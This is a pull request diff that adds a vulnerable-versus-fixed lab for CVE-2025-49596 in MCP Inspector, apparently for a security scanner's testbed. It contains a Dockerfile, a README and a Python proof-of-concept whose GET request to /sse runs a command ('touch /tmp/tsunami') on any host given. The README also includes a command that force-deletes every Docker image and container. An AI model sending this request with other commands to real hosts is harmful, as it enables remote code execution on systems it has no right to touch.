Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
54 changes: 54 additions & 0 deletions mcp-inspector/CVE-2025-49596/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# Build stage
FROM node:24-slim AS builder

# Set working directory
WORKDIR /app

# Copy package files for installation
COPY package*.json ./
COPY .npmrc ./
COPY client/package*.json ./client/
COPY server/package*.json ./server/
COPY cli/package*.json ./cli/

# Install dependencies
RUN npm ci --ignore-scripts

# Copy source files
COPY . .

# Build the application
RUN npm run build

# Production stage
FROM node:24-slim

WORKDIR /app

# Copy package files for production
COPY package*.json ./
COPY .npmrc ./
COPY client/package*.json ./client/
COPY server/package*.json ./server/
COPY cli/package*.json ./cli/

# Install only production dependencies
RUN npm ci --omit=dev --ignore-scripts

RUN apt-get update && apt-get -y install curl

# Copy built files from builder stage
COPY --from=builder /app/client/dist ./client/dist
COPY --from=builder /app/client/bin ./client/bin
COPY --from=builder /app/server/build ./server/build
COPY --from=builder /app/cli/build ./cli/build

# Set default port values as environment variables
ENV CLIENT_PORT=6274
ENV SERVER_PORT=6277

# Document which ports the application uses internally
EXPOSE ${CLIENT_PORT} ${SERVER_PORT}

# Use ENTRYPOINT with CMD for arguments
ENTRYPOINT ["npm", "start"]
44 changes: 44 additions & 0 deletions mcp-inspector/CVE-2025-49596/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# MCP Inspector CVE-2025-49596

This directory contains the deployment config for MCP Inspector instances vulnerable and fixed to CVE-2025-49596. MCP Inspector versions below 0.14.1 are vulnerable to that remote code execution vulnerability.

## How to Trigger the Vulnerability?

To trigger the vulnerability, you can use the following provided Python Script called inspectorExp.py. After the docker setup, provided script will send the related GET request. In a vulnerable environment, after the Python script, you can see the created file named tsunami under the /tmp/ directory of the running container.

Python code:

```sh
# Run above Python script to trigger the file creation.
python inspectorExp.py
```

In case you cannot trigger the vulnerability, you might need to delete your existing container images because Docker might try to reuse them.

```sh
sudo docker rmi -f $(sudo docker images -aq)
sudo docker remove $(sudo docker ps -a -q)
```


## Fixed version
```sh
git clone https://github.com/modelcontextprotocol/inspector.git
cd inspector && git checkout 0.16.3
cp ../Dockerfile .
docker build --tag inspector-fixed .
docker run --network host inspector-fixed
```

The vulnerability-related service listens on `localhost:6277` after the docker completes its job.

## Vulnerable version
```sh
git clone https://github.com/modelcontextprotocol/inspector.git
cd inspector && git checkout 0.14.0
cp ../Dockerfile .
docker build --tag inspector-vuln .
docker run --network host inspector-vuln
```

The vulnerability-related service listens on `localhost:6277` after the docker completes its job.
33 changes: 33 additions & 0 deletions mcp-inspector/CVE-2025-49596/inspectorExp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
import requests
import sys

def check_mcp_inspector(host="localhost", port=6277):
url = f"http://{host}:{port}/sse"
params = {
"transportType": "stdio",
"command": "touch",
"args": "/tmp/tsunami"
}

print(f"[*] Checking {url} for CVE‑2025‑49596...")
try:
response = requests.get(url, params=params, timeout=5)
if response.status_code == 200:
print("[+] MCP Inspector responded without auth token!")
print("[!] This host is likely vulnerable to CVE‑2025‑49596.")
print(f"Response: {response.text[:200]}...")
elif response.status_code == 401:
print("[-] Auth token required. Likely patched version (v0.14.1+).")
else:
print(f"[-] Unexpected response: {response.status_code}")
except requests.exceptions.ConnectionError:
print("[-] Could not connect. MCP Inspector may not be running.")
except requests.exceptions.Timeout:
print("[-] Connection timed out.")
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
target_host = sys.argv[1] if len(sys.argv) > 1 else "localhost"
check_mcp_inspector(target_host)